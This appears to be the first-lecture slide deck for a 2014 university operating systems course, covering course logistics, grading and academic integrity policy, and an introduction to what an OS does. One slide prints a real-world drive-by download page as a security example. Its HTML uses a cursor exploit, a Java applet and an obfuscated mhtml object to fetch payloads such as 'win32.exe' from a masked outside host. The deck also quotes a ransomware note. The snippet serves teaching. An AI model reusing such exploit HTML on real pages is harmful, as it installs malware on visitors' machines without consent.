280 likes | 710 Views
CS354: Operating Systems Fall 2014. Dongyan Xu Department of Computer Science Purdue University. General Information. Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router
E N D
CS354: Operating SystemsFall 2014 Dongyan Xu Department of Computer SciencePurdue University
General Information Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router MIPS instruction set architecture
Staff • Dongyan Xu (6th time teaching CS354) • Ph.D. University of Illinois at Urbana-Champaign • Full Prof. (2013-present), Assoc. Prof. (2007-13), Assist. Prof. (2001-2007) • Research: • Virtualization (VMware, Xen, KVM…) • Malware (rootkits, botnets, APTs…) defense • Cloud computing • Binary reverse engineering • Office hours (Th. 2:30pm-4:30pm, LWSN1173)
Staff • Teaching Assistants • Huyue Gu • Shouyu Luo • Bo Sang • Office hours to be announced
On-line Discussion Venue: Piazza Please join by accessing: https://piazza.com/purdue/fall2014/cs354 All announcements will be posted there Discussion on labs It is your responsibilityto check for official announcements, clarification of lab specification, and answers to lab-related questions. But grades will still be posted on Blackboard Learn http://www.itap.purdue.edu/learning/tools/blackboard/
PSOs There are no PSO sessions this week The labs will be explained in PSOs. Attendance is not mandatory (but encouraged)
Grading Grade breakdown: Midterm: 22% Final: 28% Projects: 50% In-class Quizzes: 3% bonus No written homework
Late/Grading Policies • Check Blackboard Learn for grade posting • Late policy for labs • No late submission accepted, but you will have 3non-emergency Bonus Days (penalty-free) • Projects will be done individually • General discussion allowed • Must be on your own when coding starts • Don’t borrow the one you found online • I checked the code. It’s pretty bad • Will check your submissions against it
Re-Grading Policy • You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading • Re-grading requests for exams need to be in writing • After the re-grading period, no re-grading request will be honored.
Academic Integrity Policy • Academic integrity: lifeline of education • Your projects, quizzes and exams must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get • Zero for the project/quiz/exam at first offense • F grade for the course thereafter • Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating
Lecture Format • Help you understand important and hard OS concepts, design, and implementation • Lectures do not cover everything • Not all questions in exams are from lectures • But many (80%?) of them are • Your responsibility • Attend lectures • Read code, textbook, lecture notes • Labs, quizzes, exams • Periodically check web page • Read/participate in Piazza discussion
Course Organization OS overview Computer architecture overview Process scheduling and management Process synchronization Memory management Interrupt processing 7. Device drivers 8. File system
Pre-requisite • CS250 (Computer Architecture) • CS251 (Data Structures) • CS252 (Systems Programming) • CS240 (C Programming) • Or equivalent
Introduction • A computer system consists of • Hardware • System programs • Application programs 1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first.
What is an Operating System (OS) It is a system program that sits between hardware and application programs. The program starts running at boot time. Who boots up the OS? BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed
What does an OS do? “To serve and to protect” It offers services that are common to all applications: Program execution, printing, windowing, file access, resource allocation It enables multitasking Allows multiple processes running at the same time It offers protection/security. E.g., a user cannot see files of other users.
(Lack of) OS Security • Malware • Botnets • Worms • Why do they spread so quickly? • Spyware, keylogger, identity theft, blackmail… GREETINGS FROM GENERAL ENCRYPTION! TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
A Real Incident • Upon Clicking a malicious URL • http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html <html><head><title></title></head><body> <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> try{ document.write('<object data=`ms-its: mhtml:file: //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){}</script> </body></html> MS05-002 MS03-011 MS04-013 22 unwanted programs installed without user’s consent!
What does an operating system offer? Reliability Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running. Fairness access to resources has to be fair across users with the same priority. Support for multiple users It allows running multiple users in the same machine simultaneously.
The Operating System Zoo Mainframe OS Server OS Multiprocessor OS Personal computer OS Real-time OS Embedded OS Smartphone OS Browser OS Cloud OS OS for Oses (hypervisors) 21
Windows 8 22
Android 23
Android Platformhttp://code.google.com/android/ The first complete, open, and free mobile platform 24
Summary • Course overview • Policy and requirement • What is OS? • Coming up next: • Review of computer architecture and program structure